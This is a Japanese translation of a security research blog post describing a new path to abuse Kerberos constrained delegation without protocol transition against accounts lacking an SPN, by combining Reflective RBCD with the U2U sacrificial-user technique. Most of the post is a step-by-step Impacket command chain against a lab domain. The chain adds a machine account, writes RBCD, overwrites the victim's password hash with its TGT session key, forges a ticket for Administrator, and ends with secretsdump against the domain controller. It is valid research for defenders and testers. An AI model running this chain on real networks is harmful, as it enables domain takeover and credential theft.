新たに発見されたKerberos委任の悪用パス
Newly discovered Kerberos delegation abuse path (hunio.org)
要約
この記事では、プロトコル遷移なしで、SPN(サービスプリンシパル名)を持たないアカウントに対してKerberosの制約付き委任(Constrained Delegation)を悪用する新しい手法を解説しています。Elad ShamirのReflective RBCD技術、James ForshawのU2U(User-to-User)犠牲者ユーザー技術、そしてImpacketの拡張を組み合わせることで、これまで不可能だった攻撃経路が開かれました。ただし、この手法はドメインでRC4暗号化が許可されていること、対象ユーザーアカウントが破壊されること、MAQ(Machine Account Quota)が有効であることなどの前提条件が必要です。
全文翻訳
SPNを持たないアカウントに対するプロトコル遷移なしの制約付き委任の悪用
TL;DR 見出しへのリンク
この記事では、Kerberos委任を悪用する新しいパスを紹介します!Elad ShamirのReflective RBCD技術、James ForshawのU2U犠牲者ユーザー技術を組み合わせ、ImpacketをS4U2ProxyとU2Uに対応するように拡張することで、プロトコル遷移なしで制約付き委任に必要なフォワーダブルチケットを取得できるようになりました。これは、委任の信頼対象アカウントにSPNがない場合でも可能です。
ただし、Forshawが発見した犠牲者パスと同様に、この手法もドメインでRC4が許可されていること、影響を受けるユーザーアカウントが破壊されること、そしてドメインでMAQ(Machine Account Quota)が有効であること(またはSPNを持つ何かが既に侵害されていること)が必要です。
巨人の肩の上に立つ 見出しへのリンク
制約付き委任 見出しへのリンク
Kerberosには2つの形式の制約付き委任があります。
- プロトコル遷移あり: サービスが、ユーザーが最初に認証する必要なしに、ユーザーになりすますことを許可します。認証なしでのなりすましを実現するために、MicrosoftはS4U2Selfを導入し、後続のS4U2Proxyで使用できるチケットを生成しました。
- プロトコル遷移なし: サービスはS4U2Selfを使用してフォワーダブルチケットを独自に生成できません。代わりに、委任の信頼対象サービスが、なりすますユーザーとして既にフォワーダブルチケットを持っている場合にのみ、S4U2Proxyを実行できます。
Reflective Resource-Based Constrained Delegation 見出しへのリンク
ドメイン内の任意のユーザーまたはマシンは、デフォルトで自身のmsDS-AllowedToActOnBehalfOfOtherIdentity属性を書き込むことができ、自身にリソースベースの制約付き委任(RBCD)を設定できます。RBCDは、プロトコル遷移ありの制約付き委任と同じS4Uメカニクスに従いますが、サービスが委任を許可する主体を決定します(ドメインではなく)。
プロトコル遷移なしの制約付き委任を悪用する場合、Elad Shamirは、攻撃者が侵害されたリソースにRBCDを設定してMAQが追加されたマシン(またはSPNを持つもの)を信頼させ、その後S4U2Proxyを使用して昇格されたユーザーとしてフォワーダブルサービスチケットを生成できることを発見しました。このチケットは、侵害されたリソースが委任を許可されている元のサービスに対する2回目のS4U2Proxyの証拠として使用できます。
フォワーダブルサービスチケットを生成して使用するために委任を連鎖させることは、Reflective Resource-Based Constrained Delegationと呼ばれます。これは視覚的には次のようになります。
[画像: 貼り付けられた画像 20261008131954.png]
SPNを持たないアカウントでの委任の悪用 見出しへのリンク
委任の信頼対象アカウントにSPNがない場合でも、User-to-User(U2U)認証と呼ばれる代替手段を通じてチケットを生成することは可能です。U2Uが使用される場合、チケットはサービスのパスワードで暗号化されるのではなく、KDCはTGTセッションキーでチケットを暗号化します。これにより、SPNを持たないリソースへのチケット生成が可能になります。
プロトコル遷移ありの制約付き委任を悪用する場合、James Forshawは、ユーザーのパスワードハッシュをそのTGTセッションキーのものに変更した場合、なりすましチケットを正常に生成し、委任を通じてピボットできることを発見しました。ただし、この戦術はユーザーの資格情報が無効になるため、その後ユーザーを破壊します。
方法論のギャップ 見出しへのリンク
現在の研究では、Reflective RBCDを使用してプロトコル遷移なしの制約付き委任を悪用できますが、これにはSPNが必要です。また、SPNを持たないアカウントに対して制約付き委任を悪用する手段もありますが、これはプロトコル遷移ありのバリアントにのみ適用されます。
この記事では、Reflective RBCDとU2Uを組み合わせることで、SPNを持たないアカウントに対してプロトコル遷移なしの制約付き委任を悪用する新しいパスを紹介します。
他の戦術と同様に、以下の前提条件が必要です。
- ドメインがRC4暗号化を許可している
- マシンアカウントクォータ(MAQ)が有効になっている
- SPNを持たないリソースがRBCDを設定できる
これも委任の信頼対象ユーザーを破壊します。
SPNを持たないアカウントに対するプロトコル遷移なしの制約付き委任の悪用 見出しへのリンク
ユーザー LAMB がパスワード Password1! を持ち、プロトコル遷移なしの制約付き委任を通じて host/DC01.secure.local に委任することを許可されていると仮定します。しかし、LAMB にはSPNが設定されていません。
委任を通じて DC01 に正常にピボットするには、Elad ShamirとJames Forshawの作業を組み合わせる必要があります。
LAMBのTGTを要求し、TGTセッションキーを抽出します。- マシンアカウントクォータ(MAQ)を通じてドメインに新しいコンピューターを追加します。
LAMBにRBCDを設定し、追加されたマシンを委任のために信頼させます。LAMBのパスワードハッシュをそのTGTセッションキーに変更します。- U2Uを使用してS4U2Proxyを実行し、昇格されたユーザーとしてフォワーダブルサービスチケットを生成します。
- そのフォワーダブルチケットを(追加のS4U2Proxyとともに)侵害されたリソースが委任を許可されているサービスに渡します。
[画像: 貼り付けられた画像 20261008144129.png]
ステップ1:LAMBのTGTを取得し、セッションキーを抽出する
getTGT.py -hashes :$(pypykatz crypto nt 'Password1!') 'secure.local/LAMB' -dc-ip 10.0.1.40
describeTicket.py ./LAMB.ccache | grep "Ticket Session Key"
[画像: 貼り付けられた画像 20260929194849.png]
ここで、セッションキーは b4758bcc4845a2bd4860eb5e8c3f5d12 です。
ステップ2:MAQを通じてヘルパーマシンアカウントを作成する
addcomputer.py -computer-name 'LAMBPC$' -computer-pass 'Password123!' -dc-ip 10.0.1.40 'secure.local/LAMB:Password1!'
[画像: 貼り付けられた画像 20260929194920.png]
ステップ3:LAMBがLAMBPC$を委任のために信頼するように設定する
rbcd.py -delegate-from 'LAMBPC$' -delegate-to 'LAMB' -dc-ip 10.0.1.40 -action 'write' 'secure.local/LAMB:Password1!'
[画像: 貼り付けられた画像 20260929194951.png]
ステップ4:LAMBを犠牲にする
changepasswd.py -newhashes ':b4758bcc4845a2bd4860eb5e8c3f5d12' 'secure.local/LAMB:Password1!'@10.0.1.40
[画像: 貼り付けられた画像 20260929195031.png]
ステップ5:U2U+RBCD S4U2Proxy(新規ステップ)
getST.py -u2u -impersonate 'Administrator' -nospn 'LAMB' -tgt './LAMB.ccache' -dc-ip 10.0.1.40 'secure.local/LAMBPC$:Password123!'
[画像: 貼り付けられた画像 20260929195139.png]
ステップ6:S4U2Proxy
export KRB5CCNAME=./LAMB.ccache
getST.py -impersonate 'Administrator' -spn 'host/DC01.secure.local' -additional-ticket './Administrator@[email protected]' -k -no-pass -dc-ip 10.0.1.40 'secure.local/LAMB'
[画像: 貼り付けられた画像 20260929195238.png]
ステップ7:利益を得る!
export KRB5CCNAME=./Administrator@[email protected]
secretsdump.py -k DC01.secure.local
[画像: 貼り付けられた画像 20260929195334.png]
完全なチェーンは次のようになります。
[画像: 貼り付けられた画像 20261008133925.png]
U2Uを使用したS4U2Proxyの実行 見出しへのリンク
新しいステップは、フォワーダブルチケットを取得するために最初のS4U2Proxyを実行する際のReflective RBCD中に発生します。これに取り組んでいる間、LAMBにSPNがないため、U2Uを使用したS4U2Proxyを実行しようとしていました。これはKerberosでは有効なことですが、Impacketはこの特定の機能に対応していませんでした。
U2Uを使用したS4U2Proxyを機能させるために、getST.pyに以下の変更が加えられました。
1. PA-PAC-OPTIONSで、resource_based_constrained_delegationフラグをTrueに設定します。これが設定されていないと、KDCはKDC_ERR_BADOPTIONを返しました。
[画像: 貼り付けられた画像 20260930171902.png]
2. kdc-optionsで、enc-tkt-in-skeyフラグをTrueに設定します。これは、KDCに応答チケットをTGTセッションキーで暗号化するように指示します。
[画像: 貼り付けられた画像 20260930172008.png]
3. snameで、name-typeをkRB5-NT-UNKNOWNに設定し、SNameStringにターゲットユーザーを指定します。これにより、サービス名がLAMB(SPNを持たないターゲットユーザー)に設定されます。
[画像: 貼り付けられた画像 20260930171802.png]
4. 従来のS4U2ProxyリクエストはKDCに証拠チケットを送信しますが、U2Uを使用しているため、KDCがセッションキーを抽出するためのTGTも供給する必要があります。最初のチケットはLAMBのTGTであり、2番目のチケットはS4U2Selfによって生成されたAdministrator証拠チケットです。
[画像: 貼り付けられた画像 20260930171613.png]
これで、U2Uを使用したS4U2Proxyを正常に使用して、SPNを持たないリソースへのフォワーダブルチケットを生成できます!:D
結論 見出しへのリンク
先行研究の素晴らしい研究がなければ、このパスを発見することは不可能でした。Elad ShamirのReflective RBCDとJames ForshawのU2U犠牲者ユーザートリックを組み合わせることで、SPNを持たないアカウントに対してプロトコル遷移なしの制約付き委任を悪用できるようになりました。これはKerberosの新しい脆弱性ではなく、これまで実行されたことがないと思われる設定を悪用するための新しい手順のセットです。
この記事はSprocket Securityにもアップロードされました!
参考文献 見出しへのリンク
- https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html
- https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
- https://hunio.org/security/abusing-delegation-with-impacket/
- https://mochabyte.xyz/2025/11/09/kerberos-love-story/
- https://i.blackhat.com/USA-22/Wednesday/US-22-Forshaw-Taking-Kerberos-To-The-Next-Level.pdf
- https://www.sprocketsecurity.com/blog/abusing-constrained-delegation-without-protocol-transition-against-spn-less-accounts
- https://github.com/fortra/impacket/pull/2324